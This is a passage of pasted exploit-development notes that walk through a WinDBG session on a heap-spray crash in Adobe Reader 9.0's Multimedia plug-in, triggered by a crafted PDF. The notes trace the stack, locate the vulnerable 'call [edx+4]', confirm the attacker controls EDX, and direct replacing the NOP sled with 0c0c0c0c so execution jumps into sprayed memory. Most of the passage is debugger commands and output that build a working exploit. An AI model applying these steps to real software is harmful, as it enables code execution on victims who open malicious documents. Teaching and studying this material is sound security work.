  2515. We would have sprayed over address 0c0c0c0c, and we hope to hit EIP = 0c0c0c0c, and get INT3.
  2516.  
  2517. We want to see what led to the crash.
  2518.  
  2519. EIP is invalid, so we can't disassemble around EIP
  2520.  
  2521. We need to trace the function that called us and crashed.
  2522. - STACK TRACE
  2523. - Dumps all the frames from the top of the stack.
  2524. - show you the series of calls that led up to the crash.
  2525. - we will analyze the topmost function on the frame.
  2526.  
  2527. WinDBG - stack trace - "k" command
  2528.  
  2529. 0:000> k
  2530. ChildEBP RetAddr
  2531. WARNING: Frame IP not in any known module. Following frames may be wrong.
  2532. 0013fb34 2d843117 0x90909090
  2533. 0013fbb8 23826934 Multimedia!PlugInMain+0x41b69
  2534. 0013fbdc 23825d8c EScript!PlugInMain+0x25584
  2535. 0013fc74 238257e2 EScript!PlugInMain+0x249dc
  2536. 0013fca4 238543c5 EScript!PlugInMain+0x24432
  2537. 0013fd04 00a78de1 EScript!PlugInMain+0x53015
  2538. 0013fd20 7e418734 AcroRd32_940000!DllCanUnloadNow+0x67290
  2539. 0013fd4c 7e418816 USER32!InternalCallWinProc+0x28
  2540. 0013fdb4 7e4189cd USER32!UserCallWinProcCheckWow+0x150
  2541. 0013fe14 7e418a10 USER32!DispatchMessageWorker+0x306
  2542. 0013fe24 00a323b4 USER32!DispatchMessageW+0xf
  2543. 0013fe94 00a31de8 AcroRd32_940000!DllCanUnloadNow+0x20863
  2544. 0013fecc 0094389f AcroRd32_940000!DllCanUnloadNow+0x20297
  2545. 0013fee4 009436ee AcroRd32_940000!AcroWinMain+0x1c8
  2546. 0013ff2c 00404004 AcroRd32_940000!AcroWinMain+0x17
  2547. 0013ffc0 7c817067 AcroRd32+0x4004
  2548. 0013fff0 00000000 kernel32!BaseProcessStart+0x23
  2549.  
  2550. 2d843117 -- the return address that we would have returned to, if we didnt crash.
  2551. address 2d843117-2 we will have a CALL instruction.
  2552.  
  2553. u 2d843117
  2554. u 2d843117-2
  2555. u 2d843117-3 <---- we found the CALL instruction - call [edx+4]
  2556. u 2d843117-4
  2557.  
  2558. 0:000> u 2d843117-3
  2559. Multimedia!PlugInMain+0x41b66:
  2560. 2d843114 ff5204 call dword ptr [edx+4] <---- the culprit!!!
  2561. 2d843117 6a00 push 0
  2562. 2d843119 68d8b68c2d push offset Multimedia!PlugInMain+0xca12a (2d8cb6d8)
  2563. 2d84311e 56 push esi
  2564. 2d84311f e842aefdff call Multimedia!PlugInMain+0x1c9b8 (2d81df66)
  2565. 2d843124 83c40c add esp,0Ch
  2566. 2d843127 66b80100 mov ax,1
  2567. 2d84312b 5e pop esi
  2568.  
  2569. We control EDX
  2570. edx=0c0c0c0c
  2571.  
  2572. call [edx+4] = call [0c0c0c10]
  2573. dd edx+4
  2574.  
  2575. 0:000> dd edx+4
  2576. 0c0c0c10 90909090 90909090 90909090 90909090
  2577. 0c0c0c20 90909090 90909090 90909090 90909090
  2578.  
  2579. 0:000> u 2d843117-7
  2580. Multimedia!PlugInMain+0x41b62:
  2581. 2d843110 8b10 mov edx,dword ptr [eax]
  2582. 2d843112 8bc8 mov ecx,eax
  2583. 2d843114 ff5204 call dword ptr [edx+4]
  2584.  
  2585. dd eax
  2586.  
  2587. 0:000> dd eax
  2588. 02e2d680 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
  2589. 02e2d690 42424242 42424242 42424242 42424242
  2590. 02e2d6a0 42424242 42424242 42424242 42424242
  2591. 02e2d6b0 42424242 42424242 42424242 42424242
  2592. 02e2d6c0 42424242 42424242 00000000 00000000
  2593.  
  2594. mnp3.pdf
  2595.  
  2596. change the NOPs 90909090 to 0c0c0c0c
  2597.  
  2598. mov edx, [eax]
  2599. call [edx+4]
  2600.  
  2601. edx = 0c0c0c0c
  2602. edx+4 = 0c0c0c10
  2603. contents at edx+4 will also be "0c0c0c0c"
  2604.  
  2605. EIP will jump to 0c0c0c0c
  2606.  
  2607. and...
  2608.  
  2609. 0:000> u 0c0c0c0c
  2610. *** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api
  2611. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api -
  2612. 0c0c0c0c 0c0c or al,0Ch
  2613. 0c0c0c0e 0c0c or al,0Ch
  2614. 0c0c0c10 0c0c or al,0Ch
  2615. 0c0c0c12 0c0c or al,0Ch
  2616. 0c0c0c14 0c0c or al,0Ch
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement